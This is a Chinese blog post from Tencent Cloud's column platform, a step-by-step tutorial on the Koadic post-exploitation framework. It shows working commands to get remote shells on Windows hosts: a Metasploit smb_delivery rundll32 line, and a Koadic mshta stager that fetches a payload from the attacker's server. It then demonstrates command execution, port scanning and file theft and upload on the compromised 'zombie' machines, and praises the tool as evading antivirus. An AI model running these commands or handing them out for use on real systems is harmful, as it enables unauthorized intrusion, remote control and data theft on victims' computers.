前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >有趣的后渗透工具 Koadic

有趣的后渗透工具 Koadic

作者头像
微软技术分享
发布2022-12-28 15:48:38
4190
发布2022-12-28 15:48:38

koadic是DEFCON黑客大会上分享出来的的一个后渗透工具,虽然和msf有些相似,但是Koadic主要是通过使用Windows ScriptHost(也称为JScript / VBScript)进行大部分的操作,其核心兼容性支持WindowsXP到Window 10的环境中使用,Koadic的相比于其他的后门程序来说更轻便,该工具通过调用系统的一些命令来完成Shell的反弹工作,因为调用的是系统的模块,所以天生免杀。你只需要在目标主机上执行一条命令,即可完全控制目标主机,该工具在圈内有一个别名:大宝剑,对于一个热衷于后渗透测试的人员来说,算的上是,"居家旅行,杀人越货"必备良品了!

再开始使用Koadic之前,我们先通过使用smb_delivery完成一次反弹。要使用此方法,我们先来通过MSF来启动一个服务。

代码语言:javascript
复制
msf5 > use exploit/windows/smb/smb_delivery
msf5 exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.40
srvhost => 192.168.1.40
msf5 exploit(windows/smb/smb_delivery) > exploit -j -z

[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.40:4444 
[*] Started service listener on 192.168.1.40:445 
[*] Server started.
[*] Run the following command on the target machine:
rundll32.exe \\192.168.1.40\aCxwTB\test.dll,0

我们记下上方的上线地址,rundll32.exe \192.168.1.40\aCxwTB\test.dll,0 ,然后在被害主机执行此命令,然后Kali成功上线,并且杀软没有报毒。

代码语言:javascript
复制
Microsoft Windows [版本 10.0.17763.316]
(c) 2018 Microsoft Corporation。保留所有权利。

C:\Users\lyshark>rundll32.exe \\192.168.1.40\aCxwTB\test.dll,0

1.好了,进入正题,默认情况下Koadic工具并没有安装在Kali系统中,我们需要手动下载并安装。

代码语言:javascript
复制
root@kali:~#  git clone https://github.com/zerosum0x0/koadic.git
root@kali:~#  cd koadic/
root@kali:~#  chmod 755 -R *
root@kali:~#  pip3 install -r requirements.txt
root@kali:~#  python3 koadic
                            .
                           / \
     _                   _ | |
    | | _____   __ _  __| || |  ___
    | |/ / _ \ / _` |/ _` ||.| / __|
    |   / (o) | (_| | (_| ||.|| (__
    |_|\_\_^_/ \__,_|\__,_||:| \___|
                           |:|
                        ~\==8==/~
                            8
                            O

(koadic: sta/js/mshta)# 

2.接着我们就使用一个攻击载荷,这里面有三个比较不错的载荷分别是,stager/js/mshta,stager/js/regsvr,stager/js/rundll32_js,我们以第一个载荷为例。

代码语言:javascript
复制
(koadic: sta/js/mshta)# use stager/js/mshta
(koadic: sta/js/mshta)# set lhost 192.168.1.40
[+] LHOST => 192.168.1.40
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://192.168.1.40:9999/A324A
[!] Don't edit this URL! (See: 'help portfwd')

[>] mshta http://192.168.1.40:9999/A324A

3.执行完以后,会弹出 mshta http://192.168.1.40:9999/A324A 记下这条命令,并去受害主机执行。

代码语言:javascript
复制
Microsoft Windows [版本 10.0.17763.316]
(c) 2018 Microsoft Corporation。保留所有权利。

C:\Users\lyshark>mshta http://192.168.1.40:9999/A324A

4.成功反弹Shell以后,我们可以使用 zombies 命令查看所以的受害僵尸主机。

代码语言:javascript
复制
[+] Zombie 0: Staging new connection (192.168.1.2)
[+] Zombie 0: DESKTOP-SKVC\lyshark* @ DESKTOP-SKVC -- Windows 10 Enterprise LTSC 2019
(koadic: sta/js/mshta)# zombies
 
	ID   IP              STATUS  LAST SEEN       
	---  ---------       ------- ------------    
	0*   192.168.1.2     Alive   2019-08-12 20:09:24
 
Use "zombies ID" for detailed information about a session.
Use "zombies IP" for sessions on a particular host.
Use "zombies DOMAIN" for sessions on a particular Windows domain.
Use "zombies killed" for sessions that have been manually killed.

zombies后方添加编号,可以查看具体主机的详细情况。

代码语言:javascript
复制
(koadic: sta/js/mshta)# zombies 0
 
	ID:                     0                               
	Status:                 Alive                           
	First Seen:             2019-08-12 20:08:37             
	Last Seen:              2019-08-12 20:11:24             
	Listener:               0                               
 
	IP:                     192.168.1.2                     
	User:                   DESKTOP-SKVC\lyshark*        
	Hostname:               DESKTOP-SKVC                
	Primary DC:             Unknown                         
	OS:                     Windows 10 Enterprise LTSC 2019 
	OSBuild:                17763                           
	OSArch:                 64                              
	Elevated:               YES!                            
 
	User Agent:             Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0;)
	Session Key:            316d78e7a8239880
 
	JOB  NAME                            STATUS    ERRNO   
	---- ---------                       -------   ------- 

5.如果需要执行CMD命令可以使用cmd_shell,如下。

代码语言:javascript
复制
(koadic: sta/js/mshta)# cmdshell 0
[koadic: ZOMBIE 0 (192.168.1.2) - C:\Users\lyshark]> ipconfig
[*] Zombie 0: Job 0 (implant/manage/exec_cmd) created.
Result for `cd C:\Users\lyshark & ipconfig`:          
                                                      
Windows IP 配置

网适配器 WLAN:

   媒体状态  . . . . . . . . . . . . : 媒体已断开连接
   连接特定的 DNS 后缀 . . . . . . . : 

6.也可以扫描本台主机端口的开放情况。

代码语言:javascript
复制
(koadic: sta/js/mshta)# use implant/scan/tcp
(koadic: imp/sca/tcp)# info
 
	NAME        VALUE               REQ     DESCRIPTION     
	-----       ------------        ----    -------------   
	RHOSTS                          yes     name/IP of the remotes
	RPORTS      22,80,135,139,44... yes     ports to scan   
	TIMEOUT     2                   yes     longer is more accurate
	CHECKLIVE   true                yes     check if host is up before checking ports
	ZOMBIE      ALL                 yes     the zombie to target

(koadic: imp/sca/tcp)# set RHOSTS 192.168.1.2
[+] RHOSTS => 192.168.1.2
(koadic: imp/sca/tcp)# run
[*] Zombie 0: Job 1 (implant/scan/tcp) created.
[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         22        closed     80072efd  
[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         80        closed     80072efd  
[+] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         135       open       00000000  
[+] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         139       open       80072f78  
[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         443       closed     80072efd  
[+] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         445       open       80072efe  
[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2         3389      closed     80072efd  
[+] Zombie 0: Job 1 (implant/scan/tcp) completed.

7.从僵尸主机上面下载一个文件,可以使用 implant/util/download_file 模块。

代码语言:javascript
复制
(koadic: imp/sca/tcp)# use implant/util/download_file
(koadic: imp/uti/download_file)# 
(koadic: imp/uti/download_file)# info
 
	NAME        VALUE               REQ     DESCRIPTION     
	-----       ------------        ----    -------------   
	LPATH       /tmp/               yes     local file save path
	RFILE                           no      remote file to get
	RFILELIST                       no      file containing line-seperated file names to download
	CHUNKSIZE   10000000            yes     size in bytes (kind of) of chunks to save, helps avoid MemoryError exceptions
	CERTUTIL    false               yes     use certutil to base64 encode the file before downloading
	ZOMBIE      ALL                 yes     the zombie to target
(koadic: imp/uti/download_file)# set zombie 0
[+] ZOMBIE => 0
(koadic: imp/uti/download_file)# set rfile c:\lyshark.exe
[+] RFILE => c:\lyshark.exe
(koadic: imp/uti/download_file)# run
[*] Zombie 0: Job 4 (implant/util/download_file) created.
[+] Zombie 0: Job 4 (implant/util/download_file) completed.
[+] c:\lyshark.exe saved to /tmp/lyshark.exe (940602 bytes)

8.上传文件则可以使用,implant/util/upload_file 这个模块。

代码语言:javascript
复制
(koadic: imp/uti/download_file)# use implant/util/upload_file
(koadic: imp/uti/upload_file)# 
(koadic: imp/uti/upload_file)# info
 
	NAME        VALUE               REQ     DESCRIPTION     
	-----       ------------        ----    -------------   
	LFILE                           yes     local file to upload
	DIRECTORY   %TEMP%              no      writeable directory
	ZOMBIE      ALL                 yes     the zombie to target
 
(koadic: imp/uti/upload_file)# set zombie 0
[+] ZOMBIE => 0
(koadic: imp/uti/upload_file)# set lfile /tmp/lyshark.exe
[+] LFILE => /tmp/lyshark.exe
(koadic: imp/uti/upload_file)# run
[*] Zombie 0: Job 5 (implant/util/upload_file) created.
[+] Zombie 0: Job 5 (implant/util/upload_file) completed.
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-08-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档